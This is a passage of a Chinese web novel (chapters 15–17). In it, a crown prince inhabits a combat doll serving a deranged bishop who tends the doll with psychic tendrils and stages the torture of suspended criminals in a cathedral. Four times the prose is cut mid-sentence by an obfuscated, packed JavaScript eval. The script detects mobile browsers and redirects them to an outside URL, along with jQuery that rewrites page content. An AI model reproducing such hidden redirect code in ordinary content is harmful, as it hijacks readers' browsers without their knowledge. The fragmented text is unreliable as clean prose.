被无数金钱财富包围,被全星系的虔诚信徒敬仰,手握普通人根本不敢想象的权柄,教廷的威望甚至能与皇权分庭抗礼。 却选择在万籁俱寂的深夜,只有冰冷的庭院和几具机械人偶陪伴。 唯一的三个活人,也就是那三名男子,是被弥赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940511|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚捕捉到圣堂来接受惩罚的带罪猎物,而这种东西在关朔夜眼里根本称不上是人类,只是他行使真神教义的一种道具。 这是他为自己曾经的所作所为必须付出的代价,还是他生来注定面对的结局? 晏风走进正厅。 一个声音传来:“放在那里。” 是关朔夜的声音。 他的声音温和优雅,很有礼貌,语气和声调都恰到好处,却不知为何让人觉得后背发凉。 晏风依言放下手中捆在一起的,嘴里塞着苹果的三名男子,独自走进金狩庭院的正厅。 美丽的人偶,看似温顺地走向他侍奉的主人。 正厅的大理石地板光鉴可人,照出弥赛亚纤丽的倒影,天花板上的水晶吊灯流光溢彩,清晰地照亮空间的每一处。 在这里,所有秘密似乎都无所遁形,空气弥漫着一股令人窒息的寂静。 宽敞的房间正中,摆着一张红丝绒座椅。 有一名男子独自坐在那里。 他看起来很年轻,头戴教冠,双腿交叠的坐姿看似随意却十分优雅,白袍衣襟上绣着象征主教身份的深红绶带。 垂落在额前的浅金长发,挑染着几丝细碎的深金色,鼻梁上架着一副精巧的圆形玻璃眼镜。 隐藏在镜片背后的双眼,透过光线曲折,有一种温柔又冷漠的疏离感。 他语气温和地说:“把东西放在那里。” “走到我的面前来。” “到我这里来。” “我的宝贝。” 晏风不动声色地遥望着他,朝他缓缓走去。 有一刻,他突然明白这温柔的声音里,让人浑身发冷的恐惧感从何而来。 关朔夜在彬彬有礼地召唤他,邀请他的态度十分温和,甚至伸出双手来欢迎他,好似意图将他拥入怀抱。 然而,他的眼神并没有落在弥赛亚的身上。 他正温柔注视着自己前方的空气,脸上带着一种虚幻的微笑。 他朝着并不存在实体的方向,召唤着一个根本不在那里的人,并且真心地沉浸其中。 费利希蒂教廷的最高掌权者,白银十字领星至高且唯一的领主,怀拥教廷的无上冕冠,真神在世间崇高圣洁的代行者。 此时,正坐在空无一人的正厅里,喃喃地自言自语: “宝贝,到我这里来。” 晏风问系统:“你想再听一遍朔夜如何力排众议,以非直系血缘身份在教廷执掌权力的故事吗?” 系统:“是那个有点恐怖又很刺激的故事?” 晏风:“是的,关于从上古西方传承而来的教义,为什么最终被他这个东方人掌控的故事。” 关朔夜是教廷上一任主教的私生子,随母姓,因为长相酷似教义中的费利希蒂真神画像,直系血亲唯恐他威胁到正统血缘继承,企图将他暗杀。 然后,在一夜之间。 无人知晓他用了什么手段,当新一轮的阳光照耀大地的时候,所有逆反他的教众都突然臣服于他,自愿将他奉为新主,整个教廷都对他俯首称臣。 少数强烈反对他的人,莫名不见了踪影,并且关系者拒绝皇庭介入将其作为刑事案件进行调查。 这起事件在教廷本纪里亦有记载,它最终被解释为费利希蒂代行者的神迹。 关朔夜是俗世间唯一的真神化身,命中注定的教廷掌权者,任何忤逆他的人都将遭受真神愠怒雷霆的清洗,唯有臣服于他的信徒才能得到生前死后永恒的安宁。 这样的解释,很符合教义逻辑。 15.执血的弥赛亚(5)那个 系统:“关主教上位的手段,是【那个】吧。” 晏风:“我也觉得是【那个】,没有其他可能了。” 系统:“但我还是不理解,到了这个时代,为什么人类更加在意血缘的正统性,想要权力和财富合理分配的话,明明有很多方法。” 晏风:“可能正因为是在这个时代,资源掠夺已经到达某个极限程度,站在权力顶点的人,更想抓住些什么,来证明自己的价值吧。” 系统:“一知半解呢,还有,在这么可怕的故事里,好像完全没有提到关主教的母亲。” 晏风:“这就是另一个故事了,也是朔夜变疯的原因。” 那边,温柔的声音还在呼唤他:“宝贝,到我身边来。” “让我看看,你打猎归来的模样,看看你有没有受伤。” 关朔夜对着空气伸出手,耐心地催促他的人偶。 晏风十分怀疑,如果他一直不走过去,关朔夜是不是会永远这样像机器似的,保持着伸手的姿势重复这几句话。 毕竟,这家伙根本没有在看他。 他尝试放慢脚步。 突然,空气中迸射出一道红色激光。 庭院的防御武器毫无征兆地发动攻击,强度堪比七重拱门激光炮的摧毁力。 人偶轻盈地一闪身,激光掠过他的发梢,打在地板上发出一声脆响。 几缕青烟从地板的黑洞里弥漫出来。 晏风拥有弥赛亚的超绝反应速度,如果只是普通的人偶身体,这一下能把他的胸口打个对穿。 而对象要是人类的话,此时已经变成一具躺在地上的焦黑尸体。 而那边,关朔夜像是什么都没看到似的:“宝贝,快到我身边来。” “我很想你。” 系统:“他想的力度,是不是太大了。” 晏风:“至少,我们知道了不理睬他的下场。” 关朔夜温柔地微笑着:“宝贝?” 弥赛亚若无其事地朝他走去:“我在这里。” “宝贝。” “我在这里。” “宝贝。” “我在这里。” 人偶不会在乎主人的突然暴力,不会对主人疯癫的呢喃失去耐心,他不会质疑主人任何不合逻辑的行为和命令,不会因为主人的任性弃他而去。 冰冷的人造器物,却拥有永远的忠诚。 这何尝不是一种令人沉迷的体贴和包容。 弥赛亚踏着轻巧的步伐,走到关朔夜面前,仿佛刚才的一切根本没有发生过。 在两人距离还有几米的位置,关朔夜做了一个停止的手势:“好了,就站在那里吧。” 人偶依言停住。 从这个距离,能够透过那副架在鼻梁上的小巧玻璃眼镜,看到关朔夜隐藏在镜片之后的双眼。 他的眼睛是翡翠色的,像是晶莹剔透的绿宝石,十分迷人。 但他似乎并不喜欢自己眼睛的颜色。 眼睛的颜色,头发的颜色,白皙肌肤的颜色,宛如真神一般美貌绝伦的外表,他都不喜欢,因此他并不常在公众场合现身。 他喜欢什么呢? 也许是凡人双眼所看不到的虚幻,恐惧,梦境,唯有真神代行者才能够掌控的无形意识。 他喜欢的,只有完全属于他自身的事物。 正如此时,从他身上蔓延出来的东西。 所谓的【那个】。 晏风站在关朔夜身前,看到他的身体里蔓延出一些透明的东西。 那些东西像是柔软的细丝触须,在空中轻轻蠕动着。 如果此时有信徒在场目睹这个情景,必然惶恐地匍匐在地,惊叹真神神迹在俗世的显现。 而人偶不会惊讶,晏风只是冷眼看着细丝触须缓慢蠕动到自己面前,轻轻摩擦他的脸颊和身上穿的皮衣。 触须和身体接触的动作,同时也启动了人偶的触觉开关。 晏风被触须碰到的一瞬间,体验到了与真人神经反应无异的触感,关朔夜允许他在自己面前感受到快乐和痛苦。 仅仅在他面前。 这些透明的触须对他不带恶意,也没有攻击性,被抚摸的感觉却十分古怪。 很温暖,有轻微的刺痒感。 这即是,关朔夜所谓的“让我看看”。 他的眼神还在迷离地注视着没有东西存在的空气,透明的意识触须却在晏风身上游移,像是在仔细检查他的每一寸,确认他心爱的人偶有没有受伤。 又像在摸索,他有没有被肮脏的异物所玷污。 机械人偶的触感模块,模拟的极为逼真,触须的每一丝颤动都触发着大脑神经的反应。 晏风几乎要忘记自己此时只是一具人偶身体,而是怀疑这些意识触须真的在狎昵地抚摸着他本人。 然而关朔夜的神情格外专注,他侧身靠近过来,认真地感触着什么,看起来并不像借着装疯卖傻的缘由,在亵渎隐藏在人偶马甲之下的本尊。 这些意识触须,是关朔夜自身思绪扩散在外界的实体化显现,教廷将它解释为真神神迹赐予代行者的证明。 在那个不知道发生了什么的一夜之后,他就获得了这种能力,这是他被全星系的信徒所敬仰原因之一。 当然,这同样也是神迹光环的塑造。 只有晏风十分清楚,意识触须的真相并不是什么神迹。 它是代价,也是痛苦。 它是关朔夜决定走上自己选择的道路,所必须越过的障碍。 时间过了许久。 意识触须仔细确认人偶没有受伤,身体也没有异样,它的顶端开始喷出一些细小的水雾,同时更多的触须蠕动过来,从各个方向抓住人偶身上穿的皮衣。 它们动作十分灵活地开始拽拉链,解开裤腰,企图把皮衣脱掉。 系统惊叫:“无礼!退下!” 晏风:“不必慌张,它们好像是想给我洗澡。” 水雾温柔地喷在他的身上。 它的气味有种独特的清新感,有消毒作用但不像消毒药水那么刺鼻。 晏风这一路上奔波带来的尘土,他吸引那些男人所用的浓烈酒气,他们靠近他的时候被沾上的香烟味,激光攻击蔓延到他身上的焦糊味…… 一切让他不舒服的气味和污物,在水雾的清洗下逐渐被稀释,最终留下一丝淡然的清香。 皮衣和皮裤落在地上。 长靴也被扔到一旁。 人偶温顺地站在水雾中,触须仔细清洗他身体的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955346|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一寸。 柔软的前端深入到球形关节的缝隙里,清扫出最深处难以祛除的污秽,又细细打磨树脂肌肤的表层,将受到磨损和有划痕的瑕疵修复的光洁如新。 头发,脸部,四肢,身体。 蒙尘的人偶逐渐脱胎换骨。 从低俗的红灯区带着酒气,沾满尘土和血腥味的瑕疵品,经过主教亲手打理,重新恢复成为唱诗班的圣职歌者。 他微微颤动的睫毛,形状小巧的薄唇,白皙如雪的肌肤……每一根发丝,每一个眼神,都仿佛巧夺天工的精美艺术品,美得让人几乎忘却呼吸。 这就是关朔夜对待他的人偶毫无保留的热爱,为了将弥赛亚彻底清洁,几乎放出了所有的意识触须。 直到最后一步身体的抛光完成,人偶从内到外再无一丝瑕疵,他才满意地长吁一口气。 触须悉数离开弥赛亚的身体,而后取来属于他的歌者圣袍,体贴地为他披上。 身穿性感皮衣,仿若游戏人间的小恶魔美少年消失了,取而代之的是纯洁沉静的教廷圣职者。 庭院圣堂唱诗班的主音,歌者弥赛亚。 系统:“中间我好几次想报警。” 晏风瞥着衣着整洁如新的自己:“朔夜这个家伙,平时都在研究什么。” 用意念给人偶洗澡。 洗完澡,再换上新衣服。 真神的俗世代行者,手握权柄的尊贵主教,亦是一部分人口中的癫狂魔鬼。 深夜在无人的宫殿里玩洋娃娃。 哦不是,是玩弄人偶。 反正也差不多。 系统:“殿下不要对一个疯癫的人太苛刻吧,起码我们知道了关主教私底下喜欢玩洋娃娃,应该没有在酝酿什么对您不利的计划。” 系统:“呃,应该……没有吧。” 那些蠕动的触须,作用只是洗澡。 只是洗澡。 关朔夜完成了一个艰巨的任务,对自己的成果相当满意。 他对着空气略微倾斜身体,真诚地发出夸奖:“现在,你又是一个干净漂亮的宝贝了。” 他的视线略微游移,意识触须自动从晏风身上退走。 而后,他打了个手势,退走的细小触须们回到他身边聚合在一起,组成数道轻薄而宽扁的透明帘幕,像是一层层柔美的薄纱。 “宝贝,出门这么久,一定饿了吧。”关朔夜柔声说。 晏风只见薄纱轻轻舞动,遮住了他的视线,等触须们再次扬起的时候,他的面前出现了一堆食物。 水果,饮料,海鲜,烤物。 简单的餐桌,座椅。 座椅上摆着几只柔软的靠垫,供他坐着休息。 洗完澡以后,是喂饭吗。 晏风低头看着水果和海鲜。 那边,关朔夜在自言自语:“宝贝,好好享用吧,这是进贡给皇太子殿下的礼物,不知道为什么他没有收,原样回到我手里。” “但我保证它们都是最稀有,最高级,最新鲜的品种,最适合我的宝贝在辛苦的工作结束之后犒劳自己。” “快点吃吧。” “你怎么不吃呢?” 晏风如坐针毡。 系统也跟着问:“殿下,您怎么不吃呢?” 16.执血的弥赛亚(6)血脉 都挺过了洗澡这一关,吃点东西理应不是问题。 虽然在他人的注视之下被迫吃饭,感觉哪里怪怪的,但跟前面的各种考验相比,根本不算困难。 晏风只是有一点心理障碍。 他迟疑地对系统说:“这里面,确实有不少朔夜送给我的礼物,我没有收。” “这堆芒果,还有这些生蚝。” 系统不明白:“主教阁下生活奢侈,送给您的礼物必定不差,您为什么不收呢?” 晏风:“嘴痒。” 系统:“?” 晏风:“我吃了嘴痒。” 臣子送的礼物数量实在太多,皇太子被迫吃到过敏。 系统:“啊,这。” 系统:“您没有对主教阁下说实话吗?” 晏风:“你看他这副样子,会信实话吗?他只会说什么礼物不合我的心意,他再送一些别的过来。” 系统陷入沉思:“如果主教阁下改送荔枝,榴莲之类的,您吃的太多又会流鼻血。” 晏风叹气:“我真的要被他弄死了。” 系统鼓励他:“但您现在只是一具人偶啊,人偶是不会过敏的。” 系统:“殿下,吃,挺住!” 系统:“别发痒,马甲会掉。” 晏风:“我谢谢你啊。” 到了这个地步,挣扎也是徒劳。 人偶确实不会过敏,如果晏风出于心理障碍硬挺着不吃的话,后果肯定是又挨一发激光炮,再换来关朔夜一句温柔又假惺惺的:“宝贝怎么了吗?” 他只能在椅子里坐下,拍拍靠垫给自己叠了一个舒服的位置。 人偶指尖微动,白皙纤细的手指瞬间切换成战斗使用的金属利刃。 然后,开始切芒果。 一时之间,正厅里没有任何人说话,只有餐具碰撞的轻微动静。 弥赛亚吃饭的动作很轻柔。 身为机械造物,能够将食物转换成能量,这种程度的技术对教廷来说小菜一碟,弥赛亚就像真人一样用餐,优雅地将切好的芒果送入口中。 关朔夜显然很享受他的玩具会做跟真人一样的事情,他专注地看着人偶吃饭,表情十分愉悦。 意识触须在他身旁轻轻舞动着,似乎也跟他同样兴奋。 晏风不知怎么形容这种诡异的感觉。 他坐在餐桌前,被人观察着吃饭,像是在被一种奇特的手段玩弄。 所谓玩物,并不一定需要被下流的方式对待。 晏风心想,有必要也该让关朔夜挨一发激光炮,让他吃点苦头。 正当他在思考怎么拿到那东西的控制权,关朔夜却仿佛心有灵犀,他突然微笑着说:“宝贝,慢慢吃,我需要暂时离开一下。” “我们稍后再见。” “记得吃饱一点,今晚有重大活动需要你的表演。” 说罢,他没有一秒钟的等待。 透明的帘幕飘过,他的身影在主教的座椅上消失了,留下晏风跟一堆食物。 等晏风回过神来,偌大的正厅里只剩他一人。 系统:逃得挺快。 算他识相,给自己捡回一条命。 晏风仔细聆听周围,确认关朔夜不在附近,应该也不会突然折返,他立刻把手里的餐具扔开,朝后倒在靠垫里。 系统问:“殿下,食物好吃吗,您吃饱了吗?” 晏风有点头疼:“想到等会儿还要见到这家伙,我突然觉得很累。” 他不想吃饭。 他想回观风阁睡觉。 系统:“但是您似乎十分纵容主教阁下呢,以您的脾气,如果真的不想吃或者讨厌这些食物,刚才一开始就不会动餐具了。” 系统:“无论穿不穿马甲,都会如此。” 弥赛亚是为战斗而生的机械人偶,夺人性命就跟呼吸一样简单。他想忤逆关朔夜的命令,或者发狂砍断他的手脚,甚至让他身首分离都只需要一瞬间。 关朔夜并没有对人偶设计这方面的约束指令。 晏风选择陪着他玩洋娃娃的游戏,甚至吃掉了不喜欢的芒果,按照他一贯的作风,这实在是相当迁就对方了。 晏风:“朔夜是财税司最大的金主,只要他胡闹不被抓住把柄,就可以享有最大限度的自由,这是皇庭司的立场。” 系统:“这真不是你们上位者互相play的一种方式吗?” 晏风:“我好好穿着衣服的。” 系统:“合法play,恰好证明了胡闹又不被抓住把柄的经验丰富。” 晏风:“你的逻辑模块总是在这种时候转得飞快。” 系统:“一切都是为了殿下着想,主教阁下虽然脑子有些颠,但也许确实是一位人物。” 晏风:“来庭院的路上,你谴责朔夜奢靡享乐的时候,不是这么说的。” 系统:“因为我发现,主教阁下并不像他表面上看起来那么堕落。” 系统:“殿下也是这么想的吧?所以才会陪他胡闹。” 晏风慢悠悠地戳着盘子里的水果。 系统:“他在玩弄您……玩弄弥赛亚的时候,心跳,呼吸,血压都是正常的。” 系统:“他很冷静。” 系统:“或者说,伪装真面目已经融为他灵魂的一部分了。” 传闻费利希蒂教廷的掌权者疯狂,堕落,淫靡。 他挥金如土,滥用教权,用信徒的捐赠贿赂皇庭九司,逃脱律法制裁。他在圣堂豢养美貌少年满足自己的私欲,本该圣洁的忏悔场所彻夜浪声淫语,教廷沦为肮脏污秽之地。 众多贪欲淫邪的权贵人物都成为他的座上宾,所有丧尽人伦的罪行都能用金钱换来教廷的庇护和脱罪。 神圣信仰包裹的外衣之下,真面目肮脏不堪。 却从没有人亲眼见过这些恶行。 事实恰恰相反,关朔夜在位期间,白银十字领星的经济状况,社会治安,信徒虔诚都达到前所未有的高度,一切都有法仪司收集到的综合数据为证。 传闻只是传闻,数据才是真实。 关朔夜将他的领地管理得井井有条。 而真实的背后,是否还有更加隐秘的虚假,却依然不得而知。 晏风吃着不会过敏的火龙果:“都在我的意料之中,朔夜的做法总是有他的深意,这正是他难对付的地方。” 系统:“您的意思是打算再主动一点吗?但是以我的推演能力,实在看不出他有什么真正威胁到帝国的可疑之处。” 系统:“就算主教阁下确实生活奢靡,也不至于成为嫌疑对象,这种程度的人物只配被我骂几句而已。” 晏风:“问题就出在马甲丢失的记忆数据,以我的做事效率,绝不可能花这么多时间,结果只成为朔夜无数玩具的其中一个,我没有这么多闲心陪他玩。” 晏风:“我们的任务没有结束,可以说根本没有开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968470|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始。” 在系统察觉关朔夜的身体数据问题之前,晏风已经发现,他对弥赛亚似乎并不真正感兴趣,但他能够成为假想宿敌之一,意味着晏风的调查必定推进到了某种程度。 他在失忆之前,一定和关朔夜建立了特殊的关系,方便自己进一步调查,但不知为何,他没有在刚才的交流中感受到这层关系。 独处的时候,关朔夜并没有表现出真心。 晏风不知道他是在顾忌什么,或者是自己的言行没有达到某种触发条件。 甚至于,关朔夜可能知道到他是在玩弄谁。 教廷古老神秘的灵性探索,医研司的现代科学并不能完全掌握,如果是最后一种,晏风就要认真考虑怎么用激光炮把他捅成筛子了。 系统:“您二位的心机和手段真是旗鼓相当。” 晏风:“知道你的潜台词,可惜我和他生不出孩子。” 系统:“那真遗憾……什么?您好像轻描淡写的说出了一些震撼的信息?!” 晏风:“别以为我不知道你又在偷偷看《婚姻法》,顺便还看了《继承法》,朔夜的权势和财力确实让他成为绝佳的联姻人选,我们又是青梅竹马的挚友,但医研司的技术对我没有用。” 晏风:“我的血脉无法传承,更不用说弥赛亚只是一个冷冰冰的人偶。” 宿敌和心腹,有时候只是一线之隔。 被系统筛选值得晏风亲自调查的对象,都是各自领域位高权重的人物。 如果他们真的心怀鬼胎,当然将必死无疑;而如果这其中某人或者某些人的忠贞并无二心,那情势就完全不同了。 晏风自己是觉得没什么不同,但系统好像听不进去。 系统:“所以,数据库里含糊其辞的皇族无亲缘传承,都是真的吗?……您,是皇帝陛下自己生出来的?” 晏风:“我也不太愿意相信这种事。” 逐风帝国的皇族,每一代都是独生传承,理由是血脉稀薄,而真正的缘由无人敢议论,或者说无法议论。 皇帝培育后代,根本不需要对象。 晏风没有母亲,他的祖先也曾经没有父亲。 不仅是他,上一代皇帝,上上代皇帝,直到有资料记载的最早时间,皇族一脉全都是独生传承,男女不限,就像某一天皇帝需要继承人,皇太子或者皇太女就突然诞生了。 他或者她,有且只有一个。 何时诞生,如何诞生,全都不得而知。 这个继承人将会成为新的皇帝,将统治延续下去,而后在适当的时机继续诞生出新的继承人,循环往复。 就算到了如今的时代,普通公民培育后代的方式已经多种多样,皇帝的后代从何而来,为何不需要对象或者辅助技术就能突然降世,依然无人能解释这件事。 系统:“听起来真像鬼故事,我这种科技产物是不相信鬼故事的。您乐观一点,也许独生现象真是因为血脉稀薄,您多找人试试呢。 晏风:“不止人,据说我的祖先用尽各种方法,也无法复制自身的基因。” 系统:“各种方法是指?” 晏风:“就是,各种方法,你最好不要知道细节。总之在这一代,我是皇帝的唯一继承人,只要我死了,皇权就不复存在。” 晏风:“但一代代的皇帝,都是这样过来的。” “我们从来没有在权谋斗争中失败过。” “一次也没有。” 17.执血的弥赛亚(7)圣堂 冷风吹过,气氛突然变得严肃。 晏风缓和了语气:“乐观一点,也许皇族的血脉不是通过继承,而是以某种状态存在于肉眼看不到的时空。” “比如……就是你呢。” 系统大惊:“啊?啊?您跟谁生的我?我可以继承到什么吗?” 晏风:“继承我吃不完的水果。” 他吃掉最后一口火龙果:“你说,朔夜他记得我的名字吗?” 关朔夜对待弥赛亚的态度亲密,语气热情,几乎将他照顾得无微不至,但唯独没有喊过大名。 从晏风今晚穿上这具马甲开始,他从没有喊过弥赛亚的名字。 也许,他根本不记得或者不在乎自己玩弄的人偶究竟是哪一只,所以乱叫宝贝。 跟渣男一样。 究竟要让他怎样身首分离,是个值得思考的问题。 但现在,有更重要的事情要做。 时间差不多了,晏风起身,准备参加今晚的盛大演出。 也就是他所捕获的那些猎物的真正用途。 关朔夜的亲自惩戒。 金狩庭院是教廷麾下的数千座圣堂之一,关朔夜今晚只是屈尊前来这里履行他的职责,就像一次公职出差。 被捕的罪人应该对此感到荣幸,由主教亲手来到他们面前施以痛苦的机会,可是不常有的。 晏风站在餐桌前仔细整理自己的仪容,人偶在公众面前的演出必须完美无瑕,作为真神代行者的侍从,彰显出教廷无上的威严荣光。 “我要仔细看一看。” 他低声自语。 “看一看,我那位虚伪又深藏不露的主人。” “他究竟,他有多少真心。” 当晏风离开正厅的时候,之前扔在门口的三个男人已经不见了,通往圣堂的回廊留下几道长长的拖拽血迹。 晏风沿着血迹走过去,见距离不远的方向,七条回廊都各自有人走来。 加上他,总共是七个一模一样的人偶。 这是关朔夜今晚选择的唱诗班成员,演出的参与者。 人偶们走到回廊尽头,聚集在一处。 其中有两只向晏风打招呼:“晚安,弥赛亚。”“晚安,今晚你的收获不小。” 晏风对他们礼貌道:“晚安,伊迪丝,安托雷,愿我们各自得到真神的宽恕。” 系统:“好可怕,人偶居然在互相聊天。” 晏风:“教廷的人偶技术源于古老传承,是与工筑司不同的另一套体系,马甲挂机的时候,我们还会一起打牌。” 几只人偶互相寒暄一会儿,就像职场上班的同事见面,而后大家依次进入圣堂,整齐地从唱诗班专用的边门走向祝祷台。 悠扬的管风琴声传来。 眼前是一处极为宽敞华丽的空间。 圣堂,金狩庭院的主建筑物。 它是涅西丝教区在赎罪日最重要的活动地点,承担着集会,祝祷,慈善,审判等一切工作。 平日里,圣堂总是摆满了一排排的原木长椅,供信徒和来访者使用,但今晚情况特殊,整座圣堂里空荡荡的。 所有的座位都已经被移走,巨大的空间不见一人,也无人说话。 天花板的位置,却传来零星的呜咽声。 晏风略微抬头,看见圣堂上方居然吊满了人。 从各个教区捕捉到的罪徒们,纷纷被丝线捆扎成一团,悬挂在半空中,晏风抓捕的那三个猎物也在其中。 此时,不知这些人是否悔恨自己犯下的罪孽,他们曾经都用不同方式触碰到了教廷庇护的底线,皇权的律法对他们不再适用。 他们生杀大权,全部掌握在教廷手中。 或者说,是主教一人。 关朔夜像是有什么强迫症,捆扎的人数都以三,或者三的倍数为单位,一捆三个或者六个人,偶尔也有九个。 密密麻麻的人头,纠缠在一起的人体,让天花板像是长出无数毒瘤。 大概是被悬吊的时间太久,或者在被捕的路上吃了不少苦头,大多数人都已经半死不活。 天花板上有零星的血滴落下来,血迹蜿蜒。 而管风琴的奏者,一个身穿黑袍的人偶,对这番惊悚的景象置若罔闻,兀自演奏着舒缓悠扬的安魂乐曲。 管风琴奏乐,人偶吟唱圣歌,夹杂着罪人痛苦的哀嚎。 忽明忽暗的烛火,灯影摇曳,整座圣堂的气氛被渲染得极为诡异。 圣堂前方,摆着一把红丝绒座椅。 冷风吹过,透明的帘幕在风中飘动,从座椅前轻轻掠过。 而后扬起。 当帘幕再次落下的时候—— 突然,关朔夜出现在了座椅上。 毫无征兆,仿佛鬼魅一般。 就像是他从一开始就坐在那里,根本没有走开过。 天花板上的人们有些骚动,他们中的大多数,都是第一次看到这些怪异的透明思维触须组成的帘幕。 而座椅旁边的人偶们完全不为所动,对主人的一切言行表现出理所当然。 关朔夜依然是一副温文尔雅的姿态,头戴教冠,神清温柔而冷漠。 他迷离的眼神隐藏在玻璃镜片之后,微微抬头扫视天花板上悬挂的东西,用赞赏的语气感叹道:“我的宝贝们,今晚的收获真是不小。” 七名人偶排列在一旁,向关朔夜躬身行礼,安静地接受主人的赞赏。 吊在天花板上的人,却不约而同地从这温柔的声音里体会到一种极寒的恐惧。 “呜呜呜!”有人挣扎起来,因为嘴里塞着苹果而说不出话。 关朔夜温柔地看了对方一眼。 下一秒,红色激光凭空出现,掠过那人的面颊,划开一道血痕。 其他人露出惊恐的眼神。 “我不明白,”关朔夜似是困惑地皱起眉。 “保持安静,对诸位来说是很困难的事情吗?你们应该在前往这里的路上,被我的宝贝们反复告诫过了。” “用这样,或者那样的方式。” 众人听到他的话,纷纷像筛糠似的颤抖起来,像是回忆起了什么可怕的经历。 没有人再敢呜咽。 忍耐着痛苦和恐惧,不能发出声音。 对于普通人类的承受能力来说,实在是相当严厉的精神折磨。 圣堂里陷入寂静,只有管风琴悠扬的演奏。 关朔夜聆听了一会儿,对天花板上的表现感到满意,他侧身向人偶们排列的方向,用眼神示意唱诗班可以开始了。 手持细棒的指挥人偶站在前方,微微抬手。 圣歌响起。 “真神降临晨曦,裁碎金箔铺向苍穹,” “罪者身躯低垂,敬拜辉光散落大地,” “以浮云为天桥,漫漫长路引我迷途,” “许我踏星碎夜,赴约直至永恒之邦。” …… …… 晏风站在第一排的右侧,他心不在焉地混迹在歌声中,感觉刚才吃下去的食物都快消化掉了。 要让这具人偶身体发出悦耳的歌声不难,但难在发声的频率不能太高或者太低,不能太轻或者太响。 人偶们要随时成为主教阁下的背景音,方便他在适当的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973478|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛里发言。 系统忍不住问:“在惩戒罪人之前,先要唱歌炒热气氛吗。” 晏风叹息:“你知道朔夜做事情是很追求仪式感的。” 歌声悠扬地回荡在圣堂中。 众人瑟瑟发抖地低着头,不知是真心在自省,还是单纯害怕。 如果他们今天能活着回去,这些歌声在很久之后都会成为噩梦,不管什么时候听到,都会吓得魂飞魄散。 在圣洁的歌声衬托下,关朔夜开口说话了。 “我相信在座的诸位,心中都有冤屈。“ 他的语气十分礼貌,丝毫没有对待罪人的严厉态度,像是在对一群尊贵的来客柔声细语。 “你们认为自己是无罪的,不幸的,被污蔑的,被伤害的。” “正如诸位,或者诸位的家人和关系者,在向我寻求庇护的时候,所留下的证词——” “唉,我身为缴纳税金的成功商人,只是在醉酒之后被一位无礼的侍者触怒,不小心将酒瓶碎片割破了对方的咽喉。” “案件发生以后,我只是心中郁闷,借酒消愁,并非故意驾车撞死一位行人。” “律警司不愿听从我的辩解,只有教廷会为我做出公正的裁决。” “您说是不是呢,莱茵家族的罗托克先生?” 天花板上,被点到名字的中年男子瞪大眼睛,连连点头。 关朔夜侧身过去,镜片后的眼神认真停留在对方身上,像是要记住他的模样,而后又道:“您并非孤身一人,这里还有两位酒后肇事致人伤亡者,都自认为是无辜的可怜人。” “是酒精诱骗你们万劫不复,被蒙蔽的头脑何罪之有呢?“ “然后是您,叶氏家族的叶玉女士,”说罢,关朔夜的视线,转移到一名头发花白的女子身上。 “白银十字涅西丝生物研究院,细胞学专家。” “您自称对生物科学怀有至高的敬仰之心,为了攻克遗传基因的罕见病难题,融合教廷古老的炼金技术,试图从三位绝症患者体内提炼出致病基因键。” “炼金缶却不小心,将他们溶解成了细胞液。” 女子大声辩驳:“这是意外事故!” 关朔夜微微一笑:“您说的对,前提是——您没有伪造那三名患者的病例。” “全部都是法仪司的责任,将大型炼金缶的使用权限设置的太严格,逼迫您不得不弄虚作假,将健康人的档案篡改成研究病例,以此通过审核。” “但我实在相当感兴趣,您究竟想把那三个人……” “炼成什么东西呢?” 女子脸色发白,不敢再说话。 关朔夜没有追问,他并不是真心想知道犯罪动机。 他仪态优雅地端坐着,十指交叠在膝头:“被命运所捉弄的可怜人,我已知晓你们的困境,真神怜悯诸位的不幸,因此邀请你们今夜再次团聚,准许我给予一个重新脱罪的机会。“ “我在此保证,诸位的努力不会白费,你们交送教廷的保护金以及其他捐赠,都会按比例抵扣脱罪程度,就从现在开始执行。” “为诸位安排的,仅仅是最后一道考验。” “请看。” 他抬起手。 